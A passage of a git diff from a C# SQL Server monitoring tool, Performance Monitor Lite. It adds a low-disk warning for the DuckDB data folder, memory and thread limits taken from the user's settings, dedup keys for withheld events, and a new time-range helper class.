+
+            lock (_volumeWarningLock)
+            {
+                var observed = AvailableFreeBytesProvider(folder);
+                if (!DataVolumeSpace.IsLow(folder, needed, _ => observed, out var free))
+                {
+                    if (_lastVolumeWarningUtc is not null && observed is long recovered)
+                    {
+                        _lastVolumeWarningUtc = null;
+                        _logger?.LogInformation(
+                            "The Lite data folder {Folder} has enough free disk space again: {FreeBytes} bytes free ({Free})",
+                            folder, recovered, DataVolumeSpace.FormatBytes(recovered));
+                    }
+
+                    return false;
+                }
+
+                var at = UtcNow();
+                if (!atStartup && _lastVolumeWarningUtc is DateTime last && at - last < DataVolumeWarningRepeat)
+                {
+                    return false;
+                }
+
+                _lastVolumeWarningUtc = at;
+                return DataVolumeSpace.WarnIfLow(_logger, folder, needed, reason, _ => free);
+            }
+        }
+        catch (Exception ex)
+        {
+            _logger?.LogDebug(ex, "Could not check the free space on the data folder's volume");
+            return false;
+        }
+    }
+
     public DuckDbInitializer(string databasePath, ILogger<DuckDbInitializer>? logger = null)
     {
         _databasePath = databasePath;
@@ -550,7 +626,7 @@ serializes every writer against this field. */
 
     /// <summary>
     /// The <c>memory_limit</c> the trim cycle restores after trimming — parsed out of
-    /// <see cref="ConnectionString"/> rather than repeated as a second "1GB" literal, so the two can never
+    /// <see cref="ConnectionString"/> rather than repeated as a second literal, so the two can never
     /// drift apart (#4262 round 1 finding 1).
     /// </summary>
     private string ConfiguredMemoryLimit
@@ -563,7 +639,7 @@ private string ConfiguredMemoryLimit
                 if (eq > 0 && part[..eq].Trim().Equals("memory_limit", StringComparison.OrdinalIgnoreCase))
                     return part[(eq + 1)..].Trim();
             }
-            return "1GB"; // unreachable — ConnectionString always sets memory_limit
+            return MainConnectionMemoryLimit; // unreachable — ConnectionString always sets memory_limit
         }
     }
 
@@ -739,8 +815,15 @@ own filter instead (StoredEventCopies). */
             /* No key for query_store_stats: its rows are cumulative snapshots of an interval, the open interval is
                read again every cycle by design, and every reader takes the latest snapshot per interval or plan. */
             /* sysjobhistory.instance_id: a unique monotonic IDENTITY per server that survives
-               sp_purge_jobhistory — JobHistoryCollector's exact-and-complete dedup watermark. */
-            ["job_history"] = "server_id, instance_id",
+               sp_purge_jobhistory — JobHistoryCollector's exact-and-complete dedup watermark.
+               run_datetime is in the key so DuckDB can run a reader's run_datetime filter BELOW the window
+               (#5457): DuckDB moves a filter under a window only when the filter reads nothing but PARTITION BY
+               columns. Keyed on (server_id, instance_id) alone, every Job History read sorted the server's whole
+               archive, message text included, before it could drop a row: on a 30-server store that took a
+               per-server read from 0.7 s to 11 s and ran Lite's 1 GB cap out of memory. It does not change
+               which copies collapse: run_datetime is worked out on the server from the msdb row's own run_date
+               and run_time, which never change for an instance_id, so every copy of a run carries the same value. */
+            ["job_history"] = "server_id, instance_id, run_datetime",
             /* The default trace's EventSequence is unique within a trace; pairing it with event_time
                (the StartTime watermark) keeps events distinct across the server restarts that reset
                EventSequence, and groups identical re-collected rows (NULLs included) for dedup. */
@@ -760,14 +843,69 @@ copy the startup cleanup keeps (StoredEventCopies.Deadlocks). */
     /// - checkpoint_threshold=1GB: disables automatic WAL checkpoints to prevent
     ///   2-3s stop-the-world stalls during collector writes. Manual CHECKPOINT
     ///   runs between collection cycles instead.
-    /// - memory_limit=1GB: caps the resting buffer pool so it doesn't grow
+    /// - memory_limit=<see cref="MainConnectionMemoryLimit"/> (2GB, #5381; was 1GB): caps the resting buffer pool so it doesn't grow
     ///   unbounded as the archive directory fills with parquet files (the
     ///   ".tmp dir caching" path is the actual driver of #933's titled
     ///   complaint — uncapped, buffer pool grows toward 80% of system RAM).
     ///   ArchiveService raises this temporarily for parquet COPY operations,
     ///   which need more headroom due to a DuckDB pre-reservation behavior.
+    /// - threads=<see cref="MainConnectionThreads"/> (min(8, processors, memory limit / 256 MB), #5381, #5457): bounds the per-thread buffers of a wide read.
+    /// - parquet_metadata_cache is deliberately left at DuckDB's default, off (#5377). Measured on DuckDB
+    ///   1.5.5, turning it on cut the bind of a 518-file union_by_name read from about 140 ms to about 45 ms,
+    ///   and a file replaced at the same path (compaction's swap, the Query Store repair) still read its new
+    ///   bytes on a fresh connection of the same instance. But the cache lives in the OBJECT_CACHE, which the
+    ///   buffer manager cannot evict and which counts against memory_limit: 38 MB for those 518 files, growing
+    ///   with every 8192-row group of every file. Once it is over the trim cycle's 64 MB target, the trim's
+    ///   `SET memory_limit` fails with "could not free up enough memory" and the trim stops working. The file
+    ///   count is the real cost of a bind, and compaction (this issue) is what keeps that count down.
+    /// </summary>
+    public string ConnectionString =>
+        $"Data Source={_databasePath};memory_limit={MainConnectionMemoryLimit};threads={MainConnectionThreads};checkpoint_threshold=1GB";
+
+    /// <summary>
+    /// The main connection's resting <c>memory_limit</c> (#5381, owner ruling 2026-10-06). It was 1 GB, which
+    /// failed five measured wide reads (Query Store and query stats text over a multi-day archive) with
+    /// out-of-memory; at 2 GB and <see cref="MainConnectionThreads"/> threads every measured read passes and the
+    /// worst peak is 1,100 MB. Every place that puts the limit back after lowering or raising it (the trim
+    /// cycle, <c>ArchiveService.WithRaisedCopyMemoryLimit</c>) restores to THIS property (the user's setting), never a literal.
+    /// Compaction's own in-memory 4 GB instance and the data importer's plain connection are separate DuckDB
+    /// instances and do not use it.
+    /// </summary>
+    internal static string MainConnectionMemoryLimit => $"{ConfiguredMemoryLimitGb}GB";
+
+    /// <summary>
+    /// The user's DuckDB memory limit in whole GB (#5457, owner ruling 2026-10-08), set once at startup from
+    /// settings.json by <c>DuckDbMemoryLimitSetting.LoadAtStartup</c>. Defaults to
+    /// <see cref="DuckDbMemoryLimitSetting.DefaultGb"/> (2 GB, #5381). <c>memory_limit</c> belongs to a DuckDB
+    /// instance, so a value changed in Settings takes effect at the next start.
     /// </summary>
-    public string ConnectionString => $"Data Source={_databasePath};memory_limit=1GB;checkpoint_threshold=1GB";
+    internal static int ConfiguredMemoryLimitGb { get; set; } = Services.DuckDbMemoryLimitSetting.DefaultGb;
+
+    /// <summary>
+    /// The main connection's <c>threads</c> (#5381, #5457): derived from the memory setting by
+    /// <see cref="ThreadsFor"/>, min(8, logical processors, memory limit / 256 MB), at least 1. Unset, DuckDB used
+    /// every core, and on a 32-core machine five reads that pass at 8 threads ran out of memory at 1 GB because
+    /// each thread holds its own buffers. It follows <see cref="ConfiguredMemoryLimitGb"/> (the resting limit),
+    /// so it is fixed for the life of the process: the trim cycle (which only moves memory_limit to 64 MB and
+    /// back) and the COPY raise (memory_limit up to the larger of 4 GB and the setting, then back) never touch it.
+    /// </summary>
+    internal static int MainConnectionThreads =>
+        ThreadsFor(ConfiguredMemoryLimitGb, Environment.ProcessorCount);
+
+    /// <summary>The most threads the main connection uses, whatever the memory setting or core count.</summary>
+    internal const int MainConnectionThreadCap = 8;
+
+    /// <summary>
+    /// Memory each DuckDB thread gets at the limit (256 MB, double DuckDB's documented 125 MB per-thread minimum),
+    /// so the 2 GB default is exactly the 8-thread cap and the 1 GB minimum runs 4 threads. Measured on the
+    /// Lite store (Job History over 20 weeks and the top-queries read over 90 days, 32 cores, 1 GB and 4 GB):
+    /// 4 and 8 threads took the same time, while 16 and 32 threads were slower and peaked 20-70% higher in
+    /// memory, so a raised memory setting does not raise the thread count past the cap.
+    /// </summary>
+    internal const int MainConnectionMemoryPerThreadMb = 256;
+
+    internal static int ThreadsFor(int memoryGb, int cores) =>
+        Math.Max(1, Math.Min(Math.Min(MainConnectionThreadCap, cores), memoryGb * 1024 / MainConnectionMemoryPerThreadMb));
 
     /// <summary>
     /// Ensures the database exists and all tables are created, then opens the sentinel (#4262).
@@ -796,6 +934,42 @@ public async Task InitializeAsync()
            on-disk file what callers should see. Opening here — still under the write lock — means no
            caller can attach to a partially-initialized file. */
         ReopenSentinel();
+
+        /* Once per start (#5377): a nearly full volume is the cause behind a compaction or CHECKPOINT that
+           fails part way, so it is named up front rather than inferred from the I/O error. */
+        WarnIfDataVolumeLow(compactionNeedBytes: 0, atStartup: true);
+    }
+
+    /// <summary>
+    /// Test seam (#5208): takes over a database file a test copied from one that <see cref="InitializeAsync"/>
+    /// had already built, instead of rebuilding the schema. <see cref="InitializeAsync"/> holds the one
+    /// process-wide write lock for its whole ~80-statement body, and a suite that runs it once per test class
+    /// or per test queues every other test's database read behind it. Only the sentinel is opened here, which
+    /// is what <see cref="InitializeAsync"/> ends with for a file that needs no migration. Production never
+    /// calls it.
+    ///
+    /// <para>The write lock covers only the hand-over of the sentinel. The copy is a file no other code has
+    /// open, so opening a connection on it needs no lock, and doing that inside the lock cost every copy
+    /// about 40 ms of exclusive hold, measured, which queued every other test's read behind it (#5208). The
+    /// copy's own <c>store_identity</c> row is renewed by <c>PreinitializedDuckDb.CopyTo</c> before this runs,
+    /// also without the lock.</para>
+    /// </summary>
+    internal void AdoptInitializedFileForTests()
+    {
+        var connection = new DuckDBConnection(ConnectionString);
+        try
+        {
+            connection.Open();
+            using var writeLock = AcquireWriteLock();
+            ReleaseSentinel();
+            _sentinel = connection;
+            connection = null!;
+            BumpArchiveViewGeneration();
+        }
+        finally
+        {
+            connection?.Dispose();
+        }
     }
 
     private bool _identityReadFailed;
diff --git a/Lite/Database/StoredEventCopies.cs b/Lite/Database/StoredEventCopies.cs
index 99543e3fa9..62af26adb4 100644
--- a/Lite/Database/StoredEventCopies.cs
+++ b/Lite/Database/StoredEventCopies.cs
@@ -9,6 +9,7 @@
 using System.Globalization;
 using System.Linq;
 using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
 
 namespace PerformanceMonitorLite.Database;
 
@@ -60,7 +61,11 @@ internal static class StoredEventCopies
     /* Each identity is the row's server, its event time and the event's own text. An event's XML is keyed by
        XmlKey, so the grouped side holds 8 bytes for it instead of the XML, which averages about 13,000 characters in
        a blocked process report. Every other part is compared exactly. */
-    private static readonly string[] BlockedProcessReportIdentity = XmlEventIdentity("blocked_process_report_xml", "blocked_report_id");
+    private static readonly string[] BlockedProcessReportIdentity = XmlEventIdentity("blocked_process_report_xml", "blocked_report_id",
+        /* #4348 (R4b): a report withheld whole is the marker, so its identity adds the sessions, database and wait
+           resource the collector parsed before judging it; a marker row naming neither session is never collapsed. */
+        ["database_name", "blocked_spid", "blocked_ecid", "blocking_spid", "blocking_ecid", "wait_resource"],
+        "blocked_spid IS NULL AND blocking_spid IS NULL");
 
     /* A long query completion stores no event XML: its statement text, session and XE event_sequence stand in for
        it, all compared exactly. */
@@ -68,20 +73,33 @@ a blocked process report. Every other part is compared exactly. */
         ["server_id", "database_name", "event_time", "statement_text", "session_id", "event_sequence",
          .. NeverCollapsed("statement_text", "long_query_completion_id", "event_time")];
 
-    private static readonly string[] SystemHealthEventIdentity = XmlEventIdentity("event_xml", "system_health_event_id");
+    /* #4348 (R4b): an event withheld whole is the marker, so its identity adds the event type the collector read
+       beside it; a marker row with no event type is never collapsed. */
+    private static readonly string[] SystemHealthEventIdentity = XmlEventIdentity("event_xml", "system_health_event_id",
+        ["event_type"], "event_type IS NULL");
 
     /* The one place an event's XML becomes its key: DuckDB's 64-bit hash() of the whole text. Two different events
        that share a server and event time merge only if their XML collides in 64 bits, about 2^-64 per pair. A merge
        hides one row from one read: nothing stores the key, and nothing is deleted. */
     private static string XmlKey(string xmlColumn) => $"hash({xmlColumn})";
 
-    private static string[] XmlEventIdentity(string xmlColumn, string idColumn) =>
-        ["server_id", "event_time", XmlKey(xmlColumn), .. NeverCollapsed(xmlColumn, idColumn, "event_time")];
+    private static string[] XmlEventIdentity(string xmlColumn, string idColumn, string[] markerParts, string markerHasNoIdentity) =>
+        ["server_id", "event_time", XmlKey(xmlColumn), .. WholeMarkerParts(xmlColumn, markerParts),
+         .. NeverCollapsed(xmlColumn, idColumn, "event_time", markerHasNoIdentity)];
 
-    /* A deadlock's identity is its server, time and exact graph. */
+    /* #4348 (R4b): an event's text the statement filter withheld WHOLE is the marker, the same for every such event,
+       so the text cannot tell two events at one time apart. Its identity adds the non-text columns the collector
+       parsed from the raw event before judging it. Each part is the column for a marker row and NULL for every other
+       row, so a row with real text keeps the identity it had. */
+    private static IEnumerable<string> WholeMarkerParts(string textColumn, string[] columns) =>
+        columns.Select(column => $"CASE WHEN {textColumn} = '{SensitiveStatements.PlaceholderText}' THEN {column} END");
+
+    /* A deadlock's identity is its server, time and exact graph; a graph withheld whole adds its victim process id and
+       database, and a marker graph with no victim process id is never collapsed. */
     private static readonly string[] DeadlockIdentity =
         ["server_id", "deadlock_time", XmlKey("deadlock_graph_xml"),
-         .. NeverCollapsed("deadlock_graph_xml", "deadlock_id", "deadlock_time")];
+         .. WholeMarkerParts("deadlock_graph_xml", ["victim_process_id", "database_name"]),
+         .. NeverCollapsed("deadlock_graph_xml", "deadlock_id", "deadlock_time", "victim_process_id IS NULL OR victim_process_id = ''")];
 
     /// <summary>The identity tuple a deadlock count distinguishes by: server, time and exact graph, plus the two
     /// never-collapse parts, so a row with no graph or no time counts on its own. The grouped side of
@@ -98,9 +116,16 @@ private static string[] XmlEventIdentity(string xmlColumn, string idColumn) =>
     /* A row with no usable identity (no text, or no event time) is never collapsed: these parts add the row's own
        id and collection_time to the key for it alone, and are NULL (one shared group) for every other row. They
        test the raw text, never its key, because hash(NULL) is not NULL. */
-    private static string[] NeverCollapsed(string textColumn, string idColumn, string timeColumn)
+    private static string[] NeverCollapsed(string textColumn, string idColumn, string timeColumn, string? markerHasNoIdentity = null)
     {
         var unusable = $"{textColumn} IS NULL OR {textColumn} = '' OR {timeColumn} IS NULL";
+        /* #4348: a withheld-whole marker row whose parsed columns are all missing has nothing to tell it apart from
+           another marker row at its time, so it is kept on its own, like a row with no text. */
+        if (markerHasNoIdentity is not null)
+        {
+            unusable += $" OR ({textColumn} = '{SensitiveStatements.PlaceholderText}' AND ({markerHasNoIdentity}))";
+        }
+
         return [$"CASE WHEN {unusable} THEN {idColumn} END", $"CASE WHEN {unusable} THEN collection_time END"];
     }
 
diff --git a/Lite/FleetRow.cs b/Lite/FleetRow.cs
index 93f50de1d1..ed145b5b32 100644
--- a/Lite/FleetRow.cs
+++ b/Lite/FleetRow.cs
@@ -45,6 +45,12 @@ internal abstract class FleetRow
     /// this by a fixed step to produce the left margin.
     /// </summary>
     public int Depth { get; protected init; }
+
+    /// <summary>
+    /// What a screen reader announces for this row (<c>AutomationProperties.Name</c> on the sidebar's list item):
+    /// the server's display name or the group's title, instead of the row class's type name.
+    /// </summary>
+    public virtual string AutomationName => string.Empty;
 }
 
 /// <summary>
@@ -152,6 +158,8 @@ public FleetHeaderRow(
     /// <summary>Display label: the tag name, or "Favorites" / "Untagged".</summary>
     public string Title { get; }
 
+    public override string AutomationName => Title;
+
     /// <summary>Servers shown directly under this header (its own directly-assigned servers; for the
     /// pseudo-groups, the favourites or untagged count). Rendered as a "(n)" badge.</summary>
     public int ServerCount { get; }
@@ -185,4 +193,6 @@ public FleetServerRow(FleetServer server, int depth)
 
     /// <summary>The monitored server this row renders.</summary>
     public FleetServer Server { get; }
+
+    public override string AutomationName => Server.DisplayName;
 }
diff --git a/Lite/Helpers/LiteTimeRange.cs b/Lite/Helpers/LiteTimeRange.cs
new file mode 100644
index 0000000000..e823ec7cca
--- /dev/null
+++ b/Lite/Helpers/LiteTimeRange.cs
@@ -0,0 +1,256 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Ui;
+using PerformanceMonitorLite.Services;
+using PerformanceMonitorLite.Models;
+
+namespace PerformanceMonitorLite.Helpers;
+
+/// <summary>
+/// The Lite side of the shared time range picker (#5562): how a picker value becomes the (hoursBack, fromUtc, toUtc)
+/// triple the ~60 tab consumers already take, how it is stored in settings.json, and where its notes get their data.
+/// Pure, so the tests drive it without a window.
+/// </summary>
+internal static class LiteTimeRange
+{
+    /// <summary>
+    /// A FinOps picker (#5562 R5): compact and rolling only, in whole <paramref name="unit"/>s (<see cref="RollingUnitRule.Hour"/> for
+    /// a list, <see cref="RollingUnitRule.Day"/> for the heatmap), through the shared control's <c>RollingUnit</c>: the read behind it
+    /// is "N units back from now" and could not honor a finished range. The Darling Viewer's FinOps tab sets the same two units.
+    /// </summary>
+    internal static void ConfigureFinOpsPicker(TimeRangePicker picker, TimeSpan unit)
+    {
+        picker.Compact = true;
+        picker.RollingUnit = unit;
+        picker.ZoneProvider = () => ServerTimeHelper.CurrentDisplayZone; /* #5562 M1: the tooltip words the range in the zone the grid beside it uses */
+    }
+
+    /// <summary>The range a fresh install opens on: the old default of four hours.</summary>
+    internal static TimeRangeSpec Default => TimeRangeSpec.Relative(TimeSpan.FromHours(4));
+
+    /// <summary>
+    /// The window a refresh reads. A rolling range of a whole number of hours stays (hours, null, null) exactly as the
+    /// old presets were: charts fall back to now - hoursBack. Everything else (a sub-hour span, 'Today', a typed range,
+    /// 'since') carries its two instants, and <c>hoursBack</c> is the whole hours from the start to now rounded UP (at
+    /// least 1), so a reader that only takes hours back (a history window opened from a row) still covers the range.
+    /// </summary>
+    internal static (int hoursBack, DateTime? fromUtc, DateTime? toUtc) WindowFor(ResolvedTimeRange range)
+    {
+        if (range.Spec.WholeHours is { } hours && hours > 0)
+        {
+            return (hours, null, null);
+        }
+
+        return (HoursBackFor(range), range.StartUtc, range.EndUtc);
+    }
+
+    /// <summary>Whole hours from the range's start to the moment it was resolved, rounded up, at least 1.</summary>
+    internal static int HoursBackFor(ResolvedTimeRange range)
+    {
+        var hours = Math.Ceiling((range.NowUtc - range.StartUtc).TotalHours);
+        return hours < 1 ? 1 : hours > int.MaxValue ? int.MaxValue : (int)hours;
+    }
+
+    /// <summary>
+    /// Hours back for a reader that only takes hours (the Alert and Job History reads, the FinOps lists): the picker's
+    /// range through <see cref="WindowFor"/>. A calendar period or typed range is covered from its start to now, so a
+    /// read can return rows newer than a range that ended earlier. <paramref name="fallbackHours"/> when the held range
+    /// cannot be used at this moment ('Today' in the first minutes after midnight).
+    /// </summary>
+    internal static int HoursBackOf(TimeRangePicker picker, int fallbackHours)
+    {
+        var range = picker.Resolve();
+        return range != null ? WindowFor(range).hoursBack : fallbackHours;
+    }
+
+    /// <summary>
+    /// The window a history read takes: the picker's start and, for a range that has finished, its exclusive end (#5562).
+    /// A rolling or live range ('Past 24 hours', 'Today', 'since X') has no end bound (<c>null</c>), so rows collected after
+    /// <paramref name="nowUtc"/> are never cut. <paramref name="fallbackHours"/> when the held range cannot be used right now.
+    /// </summary>
+    internal static (DateTime startUtc, DateTime? endUtc) BoundsOf(TimeRangePicker picker, int fallbackHours, DateTime nowUtc)
+    {
+        var range = picker.Resolve();
+        if (range == null)
+        {
+            return (nowUtc.AddHours(-fallbackHours), null);
+        }
+
+        return BoundsOf(range, nowUtc);
+    }
+
+    /// <summary><see cref="BoundsOf(TimeRangePicker, int, DateTime)"/> for a range already resolved.</summary>
+    internal static (DateTime startUtc, DateTime? endUtc) BoundsOf(ResolvedTimeRange range, DateTime nowUtc)
+    {
+        if (range.Spec.WholeHours is { } hours && hours > 0)
+        {
+            return (nowUtc.AddHours(-hours), null);
+        }
+
+        return (range.StartUtc, range.IsLive ? null : range.EndUtc);
+    }
+
+    /// <summary>
+    /// The longest span Alert History offers (#5562 R8; the old "All" item is gone): 365 days. It covers everything Lite keeps:
+    /// the alert log is archived like every signal table and its archive files are deleted by whole month,
+    /// <see cref="RetentionService.ArchiveRetentionMonths"/> months back, so rows older than 3 months survive until their month's
+    /// file goes, and a 3-month span would hide them. The parser has no year unit, so "1y" cannot be typed; this choice is the way to it.
+    /// </summary>
+    internal static TimeSpan AlertHistoryLongest { get; } = TimeSpan.FromDays(365);
+
+    /// <summary>The longest choice as the shared control's extra rolling choice (<c>SetLongestChoice</c>), the Viewer's "All" at Lite's reach.</summary>
+    internal static TimeRangeSpec AlertHistoryLongestChoice { get; } = TimeRangeSpec.Relative(AlertHistoryLongest);
+
+    /// <summary>
+    /// The longest span Job History offers (#5562 R8): 365 days, the old "Last Year", on both desktops. The parser has no year
+    /// unit, so this choice is the only way to a year.
+    /// </summary>
+    internal static TimeRangeSpec JobHistoryLongestChoice { get; } = TimeRangeSpec.Relative(TimeSpan.FromDays(365));
+
+    /// <summary>True when <paramref name="range"/> carries its own instants rather than 'the last N hours'.</summary>
+    internal static bool HasExplicitInstants(ResolvedTimeRange range) => range.Spec.WholeHours is not > 0;
+
+    /// <summary>
+    /// The range settings.json holds: the new <c>default_time_range</c> text when it names a preset or a calendar period,
+    /// else the legacy <c>default_time_range_hours</c> mapped with <see cref="TimeRangePresets.FromLegacyHours"/>, else four
+    /// hours. A typed range (fixed or 'since') is never taken from a file: it is not persisted.
+    /// </summary>
+    internal static TimeRangeSpec FromSettings(string? rangeId, int legacyHours)
+    {
+        if (TimeRangeSpec.TryFromId(rangeId, out var spec) && spec is { } s && IsPersistable(s))
+        {
+            return s;
+        }
+
+        return TimeRangePresets.FromLegacyHours(legacyHours) is { } legacy ? legacy : Default;
+    }
+
+    /// <summary>A preset or calendar period persists; a typed fixed or 'since' range does not (a window that ended two days ago is worse than none).</summary>
+    internal static bool IsPersistable(TimeRangeSpec spec) =>
+        spec.Kind is TimeRangeKind.Relative or TimeRangeKind.Calendar && (spec.Kind != TimeRangeKind.Relative || spec.Span >= TimeRangeSpec.MinimumSpan);
+
+    /// <summary>
+    /// What to write for <paramref name="spec"/>: a whole-hour rolling range goes to the legacy hours key (older builds read
+    /// it) and clears the new key; any other persistable range goes to the new key. <c>(null, null)</c> for a range that is not persisted.
+    /// </summary>
+    internal static (string? rangeId, int? hours) SettingsFor(TimeRangeSpec spec)
+    {
+        if (!IsPersistable(spec))
+        {
+            return (null, null);
+        }
+
+        return spec.WholeHours is { } h && h > 0 ? (null, h) : (spec.Id, null);
+    }
+
+    /// <summary>
+    /// Where the picker's 'Data starts' note takes its start from: the coverage probe's floor the tab already awaited, else
+    /// the oldest instant the archive keeps (<see cref="RetentionService.OldestRetainedInstant"/>). No new query.
+    /// </summary>
+    internal static DateTime DataStartFor(DateTime? probedFloorUtc, DateTime utcNow) =>
+        probedFloorUtc ?? RetentionService.OldestRetainedInstant(utcNow);
+
+    /// <summary>
+    /// The collector behind the data a server-tab page shows (#5562 R3): the page's MAIN collector, by the header of the top
+    /// tab and of the sub-tab on screen. <c>null</c> for a page with no single sampled source (Overview, Plan Viewer, the
+    /// on-load configuration pages, Daily Summary, Collection Health), where the picker shows no sample note.
+    /// </summary>
+    internal static string? MainCollectorFor(string? tab, string? subTab) => tab switch
+    {
+        "Wait Stats" => "wait_stats",
+        "Queries" => subTab switch
+        {
+            "Performance Trends" => "query_stats",
+            "Active Queries" => "query_snapshots",
+            "Top Queries by Duration" => "query_stats",
+            "Top Procedures by Duration" => "procedure_stats",
+            "Query Store by Duration" => "query_store",
+            "Plan Corrections" => "plan_correction",
+            "Query Heatmap" => "query_stats",
+            _ => null
+        },
+        "CPU" => "cpu_utilization",
+        "Memory" => subTab switch
+        {
+            "Overview" => "memory_stats",
+            "Memory Clerks" => "memory_clerks",
+            "Memory Grants" => "memory_grant_stats",
+            "Memory Pressure Events" => "memory_pressure_events",
+            _ => null
+        },
+        "File I/O" => "file_io_stats",
+        "tempdb" => "tempdb_stats",
+        "Blocking" => subTab switch
+        {
+            "Trends" => "blocked_process_report",
+            "Current Waits" => "waiting_tasks",
+            "Blocked Process Reports" => "blocked_process_report",
+            "Deadlocks" => "deadlocks",
+            "Blocking Stats" => "deadlocks",
+            _ => null
+        },
+        "Perfmon" => "perfmon_stats",
+        "Running Jobs" => "running_jobs",
+        "Latches & Spinlocks" => "latch_stats",
+        "CPU Scheduler" => "cpu_scheduler_stats",
+        "Plan Cache" => "plan_cache_stats",
+        "Session Stats" => "session_stats",
+        "System Events" => subTab == "Default Trace" ? "default_trace_events" : "system_health_events",
+        _ => null
+    };
+
+    /// <summary>The collector a floor probe's relation measures (#5562 R7), the key a banner site feeds the picker's data start under; null for a relation with no scheduled collector.</summary>
+    internal static string? CollectorOfRelation(QueryWindowRelation relation) => relation switch
+    {
+        QueryWindowRelation.QueryStats => "query_stats",
+        QueryWindowRelation.ProcedureStats => "procedure_stats",
+        QueryWindowRelation.QueryStoreStats => "query_store",
+        QueryWindowRelation.PlanCorrection => "plan_correction",
+        QueryWindowRelation.BlockedProcessReports => "blocked_process_report",
+        QueryWindowRelation.Deadlocks => "deadlocks",
+        QueryWindowRelation.DmvBlockingSnapshots => "dmv_blocking_snapshot",
+        QueryWindowRelation.QuerySnapshots => "query_snapshots",
+        QueryWindowRelation.SystemHealthEvents => "system_health_events",
+        QueryWindowRelation.DefaultTraceEvents => "default_trace_events",
+        QueryWindowRelation.LongQueryCompletions => "long_query_completions",
+        QueryWindowRelation.WaitingTasks => "waiting_tasks",
+        QueryWindowRelation.MemoryPressureEvents => "memory_pressure_events",
+        QueryWindowRelation.JobHistory => "job_history",
+        QueryWindowRelation.WaitStats => "wait_stats",
+        _ => null
+    };
+
+    /// <summary>
+    /// A collector's actual cadence for the sample note: its schedule on this server when it has one (a disabled collector
+    /// samples nothing, so no note), else the shipped default (<see cref="CollectorScheduleDefaults"/>). <c>null</c> for no
+    /// collector, an on-load one, or one that ships off and was never scheduled.
+    /// </summary>
+    internal static TimeSpan? SampleIntervalForCollector(string? collector, CollectorSchedule? schedule)
+    {
+        if (collector is null)
+        {
+            return null;
+        }
+
+        if (schedule is not null)
+        {
+            return schedule.Enabled ? SampleIntervalFor(schedule.FrequencyMinutes) : null;
+        }
+
+        return CollectorScheduleDefaults.All.TryGetValue(collector, out var entry) && entry.DefaultEnabled
+            ? SampleIntervalFor(entry.FrequencyMinutes)
+            : null;
+    }
+
+    /// <summary>A collector's actual cadence as the picker's sample interval; null for a collector that does not run on a schedule (0 = on load).</summary>
+    internal static TimeSpan? SampleIntervalFor(int? frequencyMinutes) =>
+        frequencyMinutes is > 0 ? TimeSpan.FromMinutes(frequencyMinutes.Value) : null;
+}
diff --git a/Lite/Helpers/MethodProfiler.cs b/Lite/Helpers/MethodProfiler.cs
index 1d774e043c..e143947b7d 100644
--- a/Lite/Helpers/MethodProfiler.cs
+++ b/Lite/Helpers/MethodProfiler.cs
@@ -11,6 +11,7 @@
 using System.Runtime.CompilerServices;
 using System.Text;
 using System.Threading.Tasks;
+using PerformanceMonitorLite.Services;
 
 namespace PerformanceMonitorLite.Helpers;
 
@@ -62,16 +63,32 @@ public static MethodTimingContext StartTiming(
     /// slow-method threshold. Use for per-section profiling of parallel data loads, e.g.:
     /// <code>var task = MethodProfiler.TimeAsync("Overview.DefaultTrace", () => LoadDefaultTraceAsync());</code>
     /// The timing covers the full wall-clock of the operation (including any connection-throttle wait).
+    ///
+    /// <para>An operation that ends in <see cref="OperationCanceledException"/> (#5371), one a newer request stopped on purpose,
+    /// is not a slow method: at or past the threshold it logs ONE line, <c>&lt;context&gt; cancelled after N ms (superseded)</c>,
+    /// and no <c>SLOW METHOD</c> block; below it, nothing. A run that long before the cancel is the contention signal.
+    /// <paramref name="readLogsOwnCancellation"/> is for a read that writes that same line itself, with its phases
+    /// (<see cref="PerformanceMonitorLite.Services.ReadPhaseTimer"/>), so it is not logged twice.</para>
     /// </summary>
     public static async Task<T> TimeAsync<T>(
         string context,
         Func<Task<T>> operation,
+        bool readLogsOwnCancellation = false,
         [CallerMemberName] string memberName = "",
         [CallerFilePath] string filePath = "",
         [CallerLineNumber] int lineNumber = 0)
     {
-        using var _ = StartTiming(context, memberName, filePath, lineNumber);
-        return await operation();
+        using var timing = StartTiming(context, memberName, filePath, lineNumber);
+        try
+        {
+            return await operation();
+        }
+        catch (OperationCanceledException)
+        {
+            /* #5371: an operation a newer request stopped on purpose is not a slow method: it logs one "cancelled after" line instead. */
+            timing.Cancel(readLogsOwnCancellation);
+            throw;
+        }
     }
 
     /// <summary>
@@ -80,12 +97,21 @@ public static async Task<T> TimeAsync<T>(
     public static async Task TimeAsync(
         string context,
         Func<Task> operation,
+        bool readLogsOwnCancellation = false,
         [CallerMemberName] string memberName = "",
         [CallerFilePath] string filePath = "",
         [CallerLineNumber] int lineNumber = 0)
     {
-        using var _ = StartTiming(context, memberName, filePath, lineNumber);
-        await operation();
+        using var timing = StartTiming(context, memberName, filePath, lineNumber);
+        try
+        {
+            await operation();
+        }
+        catch (OperationCanceledException)
+        {
+            timing.Cancel(readLogsOwnCancellation);
+            throw;
+        }
     }
 
     internal static void LogSlowMethod(
@@ -129,6 +155,19 @@ internal static void LogSlowMethod(
         catch { }
     }
 
+    /// <summary>
+    /// The one line a cancelled timed operation leaves (#5371), in the format <c>ReadPhaseTimer</c> uses for a cancelled read.
+    /// It has to pass the same threshold the SLOW METHOD block does, since an operation cut off in a few milliseconds is noise.
+    /// </summary>
+    internal static void LogCancelledMethod(double elapsedMs, string? context, string memberName)
+    {
+        if (!_isEnabled || elapsedMs < _thresholdMs)
+            return;
+
+        var name = string.IsNullOrEmpty(context) ? memberName : context;
+        AppLogger.Info("MethodProfiler", string.Format(CultureInfo.InvariantCulture, "{0} cancelled after {1:F0} ms (superseded)", name, elapsedMs));
+    }
+
     private static void CleanOldLogs()
     {
         try
@@ -170,12 +209,39 @@ internal MethodTimingContext(string? context, string memberName, string filePath
 
     public double ElapsedMs => _stopwatch.Elapsed.TotalMilliseconds;
 
+    private bool _cancelled;
+
+    /// <summary>
+    /// Marks the timed operation as one a newer request stopped on purpose (#5371): disposing it then writes no SLOW METHOD
+    /// block, because a superseded read is not a slow method. It writes one "cancelled after N ms (superseded)" line when the
+    /// operation passed the threshold, unless <paramref name="readLogsOwnCancellation"/> says the read already wrote that line.
+    /// </summary>
